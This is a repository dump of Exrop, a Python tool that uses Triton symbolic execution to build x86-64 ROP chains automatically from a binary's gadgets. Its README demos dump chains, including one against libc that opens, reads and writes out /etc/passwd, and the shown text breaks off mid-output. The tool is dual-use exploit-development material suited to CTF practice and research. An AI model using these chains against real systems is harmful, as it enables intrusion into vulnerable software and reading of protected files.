├── .gitignore ├── ChainBuilder.py ├── Exrop.py ├── Gadget.py ├── LICENSE ├── README.md ├── RopChain.py ├── Solver.py ├── examples ├── CJ2017_echo │ ├── echo │ ├── exploit.py │ ├── exploit_orw.py │ └── this_is_flag.txt ├── avoid_badchars.py ├── libc.so.6 ├── open-read-write.py ├── rop_emporium │ ├── badchars │ │ ├── badchars │ │ ├── exploit.py │ │ └── flag.txt │ ├── callme │ │ ├── callme │ │ ├── encrypted_flag.txt │ │ ├── exploit.py │ │ ├── key1.dat │ │ ├── key2.dat │ │ └── libcallme.so │ ├── fluff │ │ ├── exploit.py │ │ ├── flag.txt │ │ └── fluff │ ├── pivot │ │ ├── exploit.py │ │ ├── flag.txt │ │ ├── libpivot.so │ │ └── pivot │ ├── split │ │ ├── exploit.py │ │ ├── flag.txt │ │ └── split │ └── write4 │ │ ├── exploit.py │ │ ├── flag.txt │ │ └── write4 ├── set_regs_all.py └── syscall.py └── tests ├── badchar_add ├── badchar_xor ├── basic_pop ├── find_reg ├── find_reg_2 ├── find_reg_3 ├── fixed_invalid_find_reg ├── fixed_invalid_mov ├── fixed_invalid_pop ├── invalid_no_return ├── multi_pop ├── no-return ├── pivot ├── pop ├── syscall ├── test.py └── write /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.exrop_cache 3 | tmp/ 4 | -------------------------------------------------------------------------------- /ChainBuilder.py: -------------------------------------------------------------------------------- 1 | from Solver import * 2 | from Gadget import * 3 | from RopChain import * 4 | from multiprocessing import Pool 5 | 6 | def analyzeGadget(gadget): 7 | gadget.analyzeGadget() 8 | return gadget 9 | 10 | class ChainBuilder(object): 11 | def __init__(self, gadgets=list()): 12 | self.gadgets = gadgets 13 | self.regs = dict() 14 | self.raw_chain = None 15 | 16 | def solve_chain(self, avoid_char=None): 17 | self.raw_chain = solveGadgets(self.gadgets.copy(), self.regs, avoid_char=avoid_char) 18 | 19 | def set_regs(self, regs): 20 | self.regs = regs 21 | 22 | def get_syscall_addr(self, not_write_regs=set(), avoid_char=None): 23 | return findSyscall(self.gadgets.copy(), not_write_regs, avoid_char=avoid_char) 24 | 25 | def set_writes(self, writes): 26 | self.writes = writes 27 | 28 | def solve_chain_write(self, avoid_char=None): 29 | self.raw_chain = solveWriteGadgets(self.gadgets.copy(), self.writes, avoid_char=avoid_char) 30 | 31 | def solve_pivot(self, addr, avoid_char): 32 | self.raw_chain = solvePivot(self.gadgets.copy(), addr, avoid_char) 33 | 34 | def build_chain(self, next_call=None): 35 | if next_call: 36 | self.raw_chain.set_next_call(next_call) 37 | return self.raw_chain 38 | 39 | def add_gadget_string(self, addr, gadget_string, gadget_opcode): 40 | gadget = Gadget(addr) 41 | gadget.loadFromString(gadget_string, gadget_opcode) 42 | self.add_gadget(gadget) 43 | 44 | def add_gadget(self, gadget): 45 | self.gadgets.append(gadget) 46 | 47 | def load_list_gadget_string(self, gadgets_dict): 48 | for addr,info in gadgets_dict.items(): 49 | self.add_gadget_string(addr, info[0], info[1]) 50 | 51 | def analyzeAll(self, num_process=1): 52 | if num_process != 1: 53 | p = Pool(num_process) 54 | self.gadgets = p.map(analyzeGadget, self.gadgets) 55 | else: 56 | for gadget in self.gadgets: 57 | gadget.analyzeGadget() 58 | 59 | def save_analyzed_gadgets(self): 60 | saved = pickle.dumps(self.gadgets) 61 | return saved 62 | 63 | def load_analyzed_gadgets(self, pickled_data): 64 | self.gadgets = pickle.loads(pickled_data) 65 | -------------------------------------------------------------------------------- /Exrop.py: -------------------------------------------------------------------------------- 1 | from ChainBuilder import ChainBuilder 2 | from RopChain import RopChain 3 | from Gadget import TYPE_RETURN 4 | from os import popen 5 | import code 6 | 7 | def parseRopGadget(filename, opt=""): 8 | from subprocess import Popen, PIPE, STDOUT 9 | import re 10 | 11 | cmd = ['ROPgadget', '--binary', filename, '--multibr', '--only', 12 | 'pop|xchg|add|sub|xor|mov|ret|jmp|call|syscall|leave', '--dump'] 13 | if opt: 14 | cmd.append(opt) 15 | process = Popen(cmd, stdout=PIPE, stderr=STDOUT) 16 | stdout, _ = process.communicate() 17 | output_lines = stdout.splitlines() 18 | output_lines.sort(key=len) 19 | 20 | sample_gadgets = dict() 21 | regexp = re.compile(b"(0x.*) : (.*) // (.*)") 22 | for line in output_lines: 23 | match = regexp.match(line) 24 | if match: 25 | addr = int(match.group(1).decode(), 16) 26 | insstr = match.group(2).decode() 27 | opcode = bytes.fromhex(match.group(3).decode()) 28 | sample_gadgets[addr] = (insstr,opcode) 29 | return sample_gadgets 30 | 31 | class Exrop(object): 32 | def __init__(self, binary): 33 | self.binary = binary 34 | self.chain_builder = ChainBuilder() 35 | 36 | def find_gadgets(self, cache=False, add_opt="", num_process=1): 37 | if cache: 38 | fcname = "./{}.exrop_cache".format(self.binary.replace("/", "_")) 39 | try: 40 | with open(fcname, "rb") as fc: 41 | objpic = fc.read() 42 | self.chain_builder.load_analyzed_gadgets(objpic) 43 | return 44 | except FileNotFoundError: 45 | fc = open(fcname, "wb") 46 | gadgets = parseRopGadget(self.binary, add_opt) 47 | self.chain_builder.load_list_gadget_string(gadgets) 48 | self.chain_builder.analyzeAll(num_process) 49 | if cache: 50 | objpic = self.chain_builder.save_analyzed_gadgets() 51 | fc.write(objpic) 52 | fc.close() 53 | 54 | def load_raw_gadgets(self, gadgets): 55 | pass 56 | 57 | def stack_pivot(self, addr, avoid_char=None): 58 | self.chain_builder.solve_pivot(addr, avoid_char) 59 | ropchain = self.chain_builder.build_chain() 60 | return ropchain 61 | 62 | def set_regs(self, regs, next_call=None, avoid_char=None): 63 | self.chain_builder.set_regs(regs) 64 | self.chain_builder.solve_chain(avoid_char) 65 | ropchain = self.chain_builder.build_chain(next_call) 66 | return ropchain 67 | 68 | def set_writes(self, writes, next_call=None, avoid_char=None): 69 | self.chain_builder.set_writes(writes) 70 | self.chain_builder.solve_chain_write(avoid_char=avoid_char) 71 | ropchain = self.chain_builder.build_chain(next_call) 72 | return ropchain 73 | 74 | def set_string(self, strs, next_call=None, avoid_char=None): 75 | BSIZE = 8 76 | writes = dict() 77 | for addr,sstr in strs.items(): 78 | tmpaddr = 0 79 | sstr += "\x00" 80 | for i in range(0, len(sstr), BSIZE): 81 | tmpstr = int.from_bytes(bytes(sstr[i:i+BSIZE], 'utf-8'), 'little') 82 | writes[addr+tmpaddr] = tmpstr 83 | tmpaddr += BSIZE 84 | return self.set_writes(writes, next_call, avoid_char=avoid_char) 85 | 86 | def func_call(self, func_addr, args, rwaddr=None, convention="sysv", type_val_addr=0, comment=""): 87 | call_convention = { 88 | "sysv": ["rdi", "rsi", "rdx", "rcx", "r8", "r9"], 89 | "syscall_x86-64": ["rax", "rdi", "rsi", "rdx", "r10", "r8", "r9"] 90 | } 91 | 92 | order_reg = call_convention[convention] 93 | regsx86_64 = ["rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"] 94 | regs = dict() 95 | ropchain = RopChain() 96 | for i in range(len(args)): 97 | arg = args[i] 98 | if isinstance(arg, str) and arg not in regsx86_64: 99 | assert rwaddr, "Please define read write addr" 100 | chain = self.set_string({rwaddr:arg}) 101 | ropchain.merge_ropchain(chain) 102 | regs[order_reg[i]] = rwaddr 103 | rwaddr += len(arg) + 1 # for null byte 104 | continue 105 | regs[order_reg[i]] = arg 106 | chain = self.set_regs(regs) 107 | ropchain.merge_ropchain(chain) 108 | ropchain.set_next_call(func_addr, type_val_addr, comment=comment) 109 | return ropchain 110 | 111 | def syscall(self, sysnum, args, rwaddr=None): 112 | reg_used_syscall = set(["rax", "rdi", "rsi", "rdx", "r10", "r8", "r9"]) 113 | args = (sysnum,) + args 114 | syscall = self.chain_builder.get_syscall_addr(not_write_regs=reg_used_syscall) 115 | assert syscall,"can't find syscall gadget!" 116 | chain = self.func_call(syscall.addr, args, rwaddr, convention="syscall_x86-64", type_val_addr=1, comment=str(syscall)) 117 | if syscall.end_type != TYPE_RETURN: 118 | chain.is_noreturn = True 119 | return chain 120 | -------------------------------------------------------------------------------- /Gadget.py: -------------------------------------------------------------------------------- 1 | from triton import * 2 | 3 | STACK = 0x7fffff00 4 | MAX_FILL_STACK = 128 5 | 6 | def initialize(): 7 | ctx = TritonContext() 8 | ctx.setArchitecture(ARCH.X86_64) 9 | ctx.setMode(MODE.ALIGNED_MEMORY, True) 10 | ctx.setAstRepresentationMode(AST_REPRESENTATION.PYTHON) 11 | return ctx 12 | 13 | def symbolizeReg(ctx, regname): 14 | tmp = ctx.symbolizeRegister(getattr(ctx.registers,regname)) 15 | tmp.setAlias(regname) 16 | 17 | def getTritonReg(ctx, regname): 18 | return getattr(ctx.registers, regname) 19 | 20 | TYPE_RETURN = 0 21 | TYPE_JMP_REG = 1 22 | TYPE_JMP_MEM = 2 23 | TYPE_CALL_REG = 3 24 | TYPE_CALL_MEM = 4 25 | TYPE_UNKNOWN = 5 26 | 27 | def regx86_64(reg): 28 | regs = { 29 | 'rax': ['al', 'ah', 'ax', 'eax', 'rax'], 30 | 'rbx': ['bl', 'bh', 'bx', 'ebx', 'rbx'], 31 | 'rcx': ['cl', 'ch', 'cx', 'ecx', 'rcx'], 32 | 'rdx': ['dl', 'dh', 'dx', 'edx', 'rdx'], 33 | 'rdi': ['dil', 'di', 'edi', 'rdi'], 34 | 'rsi': ['sil', 'si', 'esi', 'rsi'], 35 | 'rbp': ['bp', 'ebp', 'rbp'], 36 | 'r8': ['r8b', 'r8w', 'r8d', 'r8'], 37 | 'r9': ['r9b', 'r9w', 'r9d', 'r9'], 38 | 'r10': ['r10b', 'r10w', 'r10d', 'r10'], 39 | 'r11': ['r11b', 'r11w', 'r11d', 'r11'], 40 | 'r12': ['r12b', 'r12w', 'r12d', 'r12'], 41 | 'r13': ['r13b', 'r13w', 'r13d', 'r13'], 42 | 'r14': ['r14b', 'r14w', 'r14d', 'r14'], 43 | 'r15': ['r15b', 'r15w', 'r15d', 'r15'], 44 | } 45 | if reg in regs: 46 | return reg 47 | for r in regs: 48 | if reg in regs[r]: 49 | return r 50 | return False 51 | 52 | class Gadget(object): 53 | def __init__(self, addr): 54 | self.addr = addr 55 | self.written_regs = set() # register yang telah tertulis 56 | self.read_regs = set() # register yang telah terbaca 57 | self.popped_regs = set() # register dari hasil `pop reg` 58 | self.depends_regs = set() # `mov rax, rbx; ret` gadget ini akan bergantung pada rbx 59 | self.defined_regs = dict() # register yang telah terdefinisi konstanta `xor rax, rax; ret` 60 | self.regAst = dict() 61 | self.diff_sp = 0 # jarak rsp ke rbp sesaaat sebelum ret 62 | self.is_analyzed = False 63 | self.is_asted = False 64 | self.insstr = "" 65 | self.insns = b"" 66 | self.is_memory_write = 0 67 | self.is_memory_read = 0 # not pop 68 | self.memory_write_ast = [] 69 | self.end_type = TYPE_UNKNOWN 70 | self.end_ast = None 71 | self.end_gadget = 0 # return gadget to fix no-return gadgets 72 | self.end_reg_used = set() # register used in end_ast 73 | self.pivot = 0 74 | self.pivot_ast = None 75 | self.is_syscall = False 76 | 77 | def __repr__(self): 78 | append_com = "" 79 | if self.end_gadget: 80 | append_com = ": next -> (0x{:08x}) # {}".format(self.end_gadget.addr, self.end_gadget) 81 | return self.insstr + append_com 82 | # return "addr : {}\nwritten : {}\nread : {}\npopped : {}\ndepends : {}\ndiff_sp: {}".format(self.addr, self.written_regs, self.read_regs, self.popped_regs, self.depends_regs, self.diff_sp) 83 | 84 | def __str__(self): 85 | append_com = "" 86 | if self.end_gadget: 87 | append_com = ": next -> (0x{:08x}) # {}".format(self.end_gadget.addr, self.end_gadget) 88 | return self.insstr + append_com 89 | # return "addr : {}\nwritten : {}\nread : {}\npopped : {}\ndepends : {}\ndiff_sp: {}\n".format(self.addr, self.written_regs, self.read_regs, self.popped_regs, self.depends_regs, self.diff_sp) 90 | 91 | def loadFromString(self, str_ins, opcodes): 92 | self.insstr = str_ins 93 | self.insns = opcodes 94 | 95 | def __getstate__(self): 96 | if not self.is_asted: 97 | return self.__dict__ 98 | 99 | # save all AstNode as string, because AstNode can't be pickled 100 | newd = self.__dict__.copy() 101 | oldRegAst = self.regAst 102 | oldMemASt = self.memory_write_ast 103 | oldEndAst = self.end_ast 104 | oldPivotAst = self.pivot_ast 105 | 106 | newRegAst = dict() 107 | for reg,val in oldRegAst.items(): 108 | newRegAst[reg] = (str(val), val.getBitvectorSize()) 109 | 110 | newd['regAst'] = newRegAst 111 | 112 | newMemAst = [] 113 | for addr,val in oldMemASt: 114 | newMemAst.append((str(addr), str(val), val.getBitvectorSize())) 115 | newd['memory_write_ast'] = newMemAst 116 | 117 | if oldEndAst: 118 | newd['end_ast'] = str(oldEndAst) 119 | 120 | if oldPivotAst: 121 | newd['pivot_ast'] = str(oldPivotAst) 122 | 123 | newd['is_asted'] = False 124 | return newd 125 | 126 | 127 | def buildAst(self): 128 | if not self.is_analyzed: 129 | return self.analyzeGadget() 130 | 131 | ctx = initialize() 132 | astCtxt = ctx.getAstContext() 133 | regs = ["rax", "rbx", "rcx", "rdx", "rsi", "rbp", "rdi", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"] 134 | 135 | for reg in regs: 136 | svar = ctx.newSymbolicVariable(64) 137 | svar.setAlias(reg) 138 | locals()[reg] = astCtxt.variable(svar) 139 | ctx.setConcreteRegisterValue(ctx.registers.rsp, STACK) 140 | 141 | diff_sp = self.diff_sp//8 142 | if diff_sp > MAX_FILL_STACK or diff_sp < 0: 143 | diff_sp = MAX_FILL_STACK 144 | 145 | for i in range(diff_sp): 146 | alias = "STACK"+str(i) 147 | svar = ctx.newSymbolicVariable(64) 148 | svar.setAlias(alias) 149 | locals()[alias] = astCtxt.variable(svar) 150 | 151 | BSIZE = 8 # default for now 152 | 153 | variables = ctx.getSymbolicVariables() 154 | for i,var in variables.items(): # get all symbolic variable for the next eval 155 | locals()[var.getAlias()] = astCtxt.variable(var) 156 | 157 | newRegAst = dict() 158 | for regname,ast in self.regAst.items(): 159 | val = eval(ast[0]) 160 | if isinstance(val, int): 161 | val = astCtxt.bv(val, ast[1]) 162 | newRegAst[regname] = val # eval-ing ast symbolic python expressions 163 | self.regAst = newRegAst 164 | 165 | new_mem_ast = [] 166 | for addr_ast,val_ast,sz_val in self.memory_write_ast: 167 | val = eval(val_ast) 168 | if isinstance(val, int): 169 | val = astCtxt.bv(val, sz_val) 170 | addr = eval(addr_ast) 171 | if isinstance(val, int): 172 | addr = astCtxt.bv(addr, BSIZE) 173 | new_mem_ast.append((addr, val)) 174 | self.memory_write_ast = new_mem_ast 175 | 176 | if self.pivot_ast: 177 | self.pivot_ast = eval(self.pivot_ast) 178 | 179 | if self.end_ast: 180 | self.end_ast = eval(self.end_ast) 181 | 182 | self.is_asted = True 183 | 184 | 185 | def analyzeGadget(self, debug=False): 186 | BSIZE = 8 187 | ctx = initialize() 188 | astCtxt = ctx.getAstContext() 189 | regs = ["rax", "rbx", "rcx", "rdx", "rsi", "rbp", "rdi", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"] 190 | syscalls = ["syscall"] 191 | 192 | for reg in regs: 193 | symbolizeReg(ctx, reg) 194 | ctx.setConcreteRegisterValue(ctx.registers.rsp, STACK) 195 | 196 | for i in range(MAX_FILL_STACK): 197 | tmpb = ctx.symbolizeMemory(MemoryAccess(STACK+(i*8), CPUSIZE.QWORD)) 198 | tmpb.setAlias("STACK{}".format(i)) 199 | 200 | sp = STACK 201 | instructions = self.insns 202 | pc = 0 203 | 204 | while True: 205 | inst = Instruction() 206 | inst.setOpcode(instructions[pc:pc+16]) 207 | inst.setAddress(pc) 208 | ctx.processing(inst) 209 | 210 | written = inst.getWrittenRegisters() 211 | red = inst.getReadRegisters() 212 | pop = False 213 | tmp_red = set() 214 | for wrt in written: 215 | regname = regx86_64(wrt[0].getName()) 216 | if regname: 217 | self.written_regs.add(regname) 218 | newsp = ctx.getConcreteRegisterValue(ctx.registers.rsp) 219 | if (newsp - sp) == 8: 220 | pop = True 221 | self.popped_regs.add(regname) 222 | 223 | for r in red: 224 | regname = regx86_64(r[0].getName()) 225 | if regname: 226 | tmp_red.add(regname) 227 | self.read_regs.add(regname) 228 | 229 | if inst.isControlFlow(): # check if end of gadget 230 | type_end = 0 231 | sp_after = ctx.getConcreteRegisterValue(ctx.registers.rsp) 232 | if (sp - sp_after) == BSIZE and len(tmp_red) > 0: 233 | if inst.isMemoryRead(): 234 | type_end = TYPE_CALL_MEM 235 | self.end_ast = ctx.simplify(inst.getLoadAccess()[0][0].getLeaAst(), True) 236 | else: 237 | type_end = TYPE_CALL_REG 238 | self.end_ast = ctx.simplify(ctx.getSymbolicRegister(ctx.registers.rip).getAst(), True) 239 | elif sp == sp_after and len(tmp_red) > 0: 240 | if inst.isMemoryRead(): 241 | type_end = TYPE_JMP_MEM 242 | self.end_ast = ctx.simplify(inst.getLoadAccess()[0][0].getLeaAst(), True) 243 | else: 244 | type_end = TYPE_JMP_REG 245 | self.end_ast = ctx.simplify(ctx.getSymbolicRegister(ctx.registers.rip).getAst(), True) 246 | elif sp_after - sp == BSIZE: 247 | type_end = TYPE_RETURN 248 | else: 249 | type_end = TYPE_UNKNOWN 250 | self.end_type = type_end 251 | self.end_reg_used = tmp_red 252 | # code.interact(local=locals()) 253 | break 254 | 255 | elif inst.getDisassembly() in syscalls: 256 | self.is_syscall = True 257 | 258 | if not pop and inst.isMemoryRead(): 259 | self.is_memory_read = 1 260 | 261 | if inst.isMemoryWrite() and 'mov' in inst.getDisassembly(): 262 | for store_access in inst.getStoreAccess(): 263 | addr_ast = ctx.simplify(store_access[0].getLeaAst(), True) 264 | val_ast = ctx.simplify(store_access[1], True) 265 | self.memory_write_ast.append((addr_ast, val_ast)) 266 | self.is_memory_write += 1 267 | 268 | pc = ctx.getConcreteRegisterValue(ctx.registers.rip) 269 | sp = ctx.getConcreteRegisterValue(ctx.registers.rsp) 270 | if pc >= len(instructions): 271 | break 272 | 273 | if ctx.isRegisterSymbolized(ctx.registers.rsp): 274 | self.pivot_ast = ctx.simplify(ctx.getSymbolicRegister(ctx.registers.rsp).getAst() - 8, True) 275 | if self.pivot_ast: 276 | self.pivot = 1 277 | 278 | for reg in self.written_regs: 279 | self.regAst[reg] = ctx.simplify(ctx.getSymbolicRegister(getTritonReg(ctx, reg)).getAst(), True) 280 | simplified = str(self.regAst[reg]) 281 | if simplified in regs: 282 | self.defined_regs[reg] = simplified 283 | continue 284 | try: 285 | h = int(simplified, 16) 286 | self.defined_regs[reg] = h 287 | except ValueError: 288 | continue 289 | 290 | defregs = set(filter(lambda i: isinstance(self.defined_regs[i],int), 291 | self.defined_regs.keys())) 292 | self.depends_regs = self.read_regs - defregs 293 | 294 | self.diff_sp = sp - STACK 295 | self.is_analyzed = True 296 | self.is_asted = True 297 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 n0psledbyte 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Exrop 2 | Exrop is automatic ROP chains generator tool which can build gadget chain automatically from given binary and constraints 3 | 4 | Requirements : [Triton](https://github.com/JonathanSalwan/Triton), [ROPGadget](https://github.com/JonathanSalwan/ROPgadget) 5 | 6 | Only support for x86-64 for now! 7 | 8 | Features: 9 | - handling non-return gadgets (jmp reg, call reg) 10 | - set registers (`rdi=0xxxxxx, rsi=0xxxxxx`) 11 | - set register to register (`rdi=rax`) 12 | - write to mem 13 | - write string/bytes to mem 14 | - function call (`open('/etc/passwd',0)`) 15 | - pass register in function call (`read('rax', bss, 0x100)`) 16 | - avoiding badchars 17 | - stack pivoting (`Exrop.stack_pivot`) 18 | - syscall (`Exrop.syscall`) 19 | - see [examples](examples) 20 | 21 | # installation 22 | 1. install python (3.6 is recomended and tested) 23 | 2. install triton (https://triton.quarkslab.com/documentation/doxygen/index.html#linux_install_sec), make sure you add `-DPYTHON36=on` as cmake option 24 | 3. install ropgadget (https://github.com/JonathanSalwan/ROPgadget) 25 | 4. to install exrop, easily add `export PYTHONPATH=/path/to/exrop:$PYTHONPATH` in your `.bashrc` (depends on your shell) 26 | 27 | # demo 28 | ``` python 29 | from Exrop import Exrop 30 | 31 | rop = Exrop("/bin/ls") 32 | rop.find_gadgets(cache=True) 33 | print("write-regs gadgets: rdi=0x41414141, rsi:0x42424242, rdx: 0x43434343, rax:0x44444444, rbx=0x45454545") 34 | chain = rop.set_regs({'rdi':0x41414141, 'rsi': 0x42424242, 'rdx':0x43434343, 'rax':0x44444444, 'rbx': 0x45454545}) 35 | chain.dump() 36 | print("write-what-where gadgets: [0x41414141]=0xdeadbeefff, [0x43434343]=0x110011") 37 | chain = rop.set_writes({0x41414141: 0xdeadbeefff, 0x43434343: 0x00110011}) 38 | chain.dump() 39 | print("write-string gadgets 0x41414141=\"Hello world!\\n\"") 40 | chain = rop.set_string({0x41414141: "Hello world!\n"}) 41 | chain.dump() 42 | print("func-call gadgets 0x41414141(0x20, 0x30, \"Hello\")") 43 | chain = rop.func_call(0x41414141, (0x20, 0x30, "Hello"), 0x7fffff00) 44 | chain.dump() 45 | ``` 46 | Output: 47 | ``` 48 | write-regs gadget: rdi=0x41414141, rsi:0x42424242, rdx: 0x43434343, rax:0x44444444, rbx=0x45454545 49 | $RSP+0x0000 : 0x00000000000060d0 # pop rbx; ret 50 | $RSP+0x0008 : 0x0000000044444444 51 | $RSP+0x0010 : 0x0000000000014852 # mov rax, rbx; pop rbx; ret 52 | $RSP+0x0018 : 0x0000000000000000 53 | $RSP+0x0020 : 0x0000000000004ce5 # pop rdi; ret 54 | $RSP+0x0028 : 0x0000000041414141 55 | $RSP+0x0030 : 0x000000000000629c # pop rsi; ret 56 | $RSP+0x0038 : 0x0000000042424242 57 | $RSP+0x0040 : 0x0000000000003a62 # pop rdx; ret 58 | $RSP+0x0048 : 0x0000000043434343 59 | $RSP+0x0050 : 0x00000000000060d0 # pop rbx; ret 60 | $RSP+0x0058 : 0x0000000045454545 61 | 62 | write-what-where gadgets: [0x41414141]=0xdeadbeefff, [0x43434343]=0x110011 63 | $RSP+0x0000 : 0x0000000000004ce5 # pop rdi; ret 64 | $RSP+0x0008 : 0x000000deadbeefff 65 | $RSP+0x0010 : 0x000000000000d91f # mov rax, rdi; ret 66 | $RSP+0x0018 : 0x0000000000004ce5 # pop rdi; ret 67 | $RSP+0x0020 : 0x0000000041414139 68 | $RSP+0x0028 : 0x000000000000e0fb # mov qword ptr [rdi + 8], rax; ret 69 | $RSP+0x0030 : 0x0000000000004ce5 # pop rdi; ret 70 | $RSP+0x0038 : 0x0000000000110011 71 | $RSP+0x0040 : 0x000000000000d91f # mov rax, rdi; ret 72 | $RSP+0x0048 : 0x0000000000004ce5 # pop rdi; ret 73 | $RSP+0x0050 : 0x000000004343433b 74 | $RSP+0x0058 : 0x000000000000e0fb # mov qword ptr [rdi + 8], rax; ret 75 | 76 | write-string gadgets 0x41414141="Hello world!\n" 77 | $RSP+0x0000 : 0x0000000000004ce5 # pop rdi; ret 78 | $RSP+0x0008 : 0x6f77206f6c6c6548 79 | $RSP+0x0010 : 0x000000000000d91f # mov rax, rdi; ret 80 | $RSP+0x0018 : 0x0000000000004ce5 # pop rdi; ret 81 | $RSP+0x0020 : 0x0000000041414139 82 | $RSP+0x0028 : 0x000000000000e0fb # mov qword ptr [rdi + 8], rax; ret 83 | $RSP+0x0030 : 0x0000000000004ce5 # pop rdi; ret 84 | $RSP+0x0038 : 0x0000000a21646c72 85 | $RSP+0x0040 : 0x000000000000d91f # mov rax, rdi; ret 86 | $RSP+0x0048 : 0x0000000000004ce5 # pop rdi; ret 87 | $RSP+0x0050 : 0x0000000041414141 88 | $RSP+0x0058 : 0x000000000000e0fb # mov qword ptr [rdi + 8], rax; ret 89 | 90 | func-call gadgets 0x41414141(0x20, 0x30, "Hello") 91 | $RSP+0x0000 : 0x0000000000004ce5 # pop rdi; ret 92 | $RSP+0x0008 : 0x0000006f6c6c6548 93 | $RSP+0x0010 : 0x000000000000d91f # mov rax, rdi; ret 94 | $RSP+0x0018 : 0x0000000000004ce5 # pop rdi; ret 95 | $RSP+0x0020 : 0x000000007ffffef8 96 | $RSP+0x0028 : 0x000000000000e0fb # mov qword ptr [rdi + 8], rax; ret 97 | $RSP+0x0030 : 0x0000000000004ce5 # pop rdi; ret 98 | $RSP+0x0038 : 0x0000000000000020 99 | $RSP+0x0040 : 0x000000000000629c # pop rsi; ret 100 | $RSP+0x0048 : 0x0000000000000030 101 | $RSP+0x0050 : 0x0000000000003a62 # pop rdx; ret 102 | $RSP+0x0058 : 0x000000007fffff00 103 | $RSP+0x0060 : 0x0000000041414141 104 | 105 | python3 tests.py 1,48s user 0,05s system 97% cpu 1,566 total 106 | 107 | ``` 108 | Another example: open-read-write gadgets! 109 | 110 | ``` python 111 | from pwn import * 112 | import time 113 | from Exrop import Exrop 114 | 115 | binname = "/lib/x86_64-linux-gnu/libc.so.6" 116 | libc = ELF(binname, checksec=False) 117 | open = libc.symbols['open'] 118 | read = libc.symbols['read'] 119 | write = libc.symbols['write'] 120 | bss = libc.bss() 121 | 122 | t = time.mktime(time.gmtime()) 123 | rop = Exrop(binname) 124 | rop.find_gadgets(cache=True) 125 | print("open('/etc/passwd', 0)") 126 | chain = rop.func_call(open, ("/etc/passwd", 0), bss) 127 | chain.set_base_addr(0x00007ffff79e4000) 128 | chain.dump() 129 | print("read('rax', bss, 0x100)") # register can be used as argument too! 130 | chain = rop.func_call(read, ('rax', bss, 0x100)) 131 | chain.set_base_addr(0x00007ffff79e4000) 132 | chain.dump() 133 | print("write(1, bss, 0x100)") 134 | chain = rop.func_call(write, (1, bss, 0x100)) 135 | chain.set_base_addr(0x00007ffff79e4000) 136 | chain.dump() 137 | print("done in {}s".format(time.mktime(time.gmtime()) - t)) 138 | ``` 139 | 140 | Output: 141 | ``` 142 | open('/etc/passwd', 0) 143 | $RSP+0x0000 : 0x00007ffff7a05a45 # pop r13 ; ret 144 | $RSP+0x0008 : 0x00000000003ec860 145 | $RSP+0x0010 : 0x00007ffff7a7630c # xor edi, edi ; pop rbx ; mov rax, rdi ; pop rbp ; pop r12 ; ret 146 | $RSP+0x0018 : 0x00007ffff7a0555f 147 | $RSP+0x0020 : 0x0000000000000000 148 | $RSP+0x0028 : 0x0000000000000000 149 | $RSP+0x0030 : 0x00007ffff7a06b8a # mov r9, r13 ; call rbx: next -> (0x0002155f) # pop rdi ; ret 150 | $RSP+0x0038 : 0x00007ffff7a0555f # pop rdi ; ret 151 | $RSP+0x0040 : 0x7361702f6374652f 152 | $RSP+0x0048 : 0x00007ffff7b251c7 # mov qword ptr [r9], rdi ; ret 153 | $RSP+0x0050 : 0x00007ffff7a05a45 # pop r13 ; ret 154 | $RSP+0x0058 : 0x00000000003ec868 155 | $RSP+0x0060 : 0x00007ffff7a7630c # xor edi, edi ; pop rbx ; mov rax, rdi ; pop rbp ; pop r12 ; ret 156 | $RSP+0x0068 : 0x00007ffff7a0555f 157 | $RSP+0x0070 : 0x0000000000000000 158 | $RSP+0x0078 : 0x0000000000000000 159 | $RSP+0x0080 : 0x00007ffff7a06b8a # mov r9, r13 ; call rbx: next -> (0x0002155f) # pop rdi ; ret 160 | $RSP+0x0088 : 0x00007ffff7a0555f # pop rdi ; ret 161 | $RSP+0x0090 : 0x0000000000647773 162 | $RSP+0x0098 : 0x00007ffff7b251c7 # mov qword ptr [r9], rdi ; ret 163 | $RSP+0x00a0 : 0x00007ffff7a62c70 # xor esi, esi ; mov rax, rsi ; ret 164 | $RSP+0x00a8 : 0x00007ffff7a0555f # pop rdi ; ret 165 | $RSP+0x00b0 : 0x00000000003ec860 166 | $RSP+0x00b8 : 0x000000000010fc40 167 | 168 | read('rax', bss, 0x100) 169 | $RSP+0x0000 : 0x00007ffff7a71362 # mov dh, 0xc5 ; pop rbx ; pop rbp ; pop r12 ; ret 170 | $RSP+0x0008 : 0x0000000000000000 171 | $RSP+0x0010 : 0x0000000000000000 172 | $RSP+0x0018 : 0x00007ffff7a0555f 173 | $RSP+0x0020 : 0x00007ffff7aea899 # mov r8, rax ; call r12: next -> (0x0002155f) # pop rdi ; ret 174 | $RSP+0x0028 : 0x00007ffff7b4a3b1 # pop rax ; pop rdx ; pop rbx ; ret 175 | $RSP+0x0030 : 0x00007ffff79e5b96 176 | $RSP+0x0038 : 0x0000000000000000 177 | $RSP+0x0040 : 0x0000000000000000 178 | $RSP+0x0048 : 0x00007ffff7a7fa08 # mov rdi, r8 ; call rax: next -> (0x00001b96) # pop rdx ; ret 179 | $RSP+0x0050 : 0x00007ffff79e5b96 # pop rdx ; 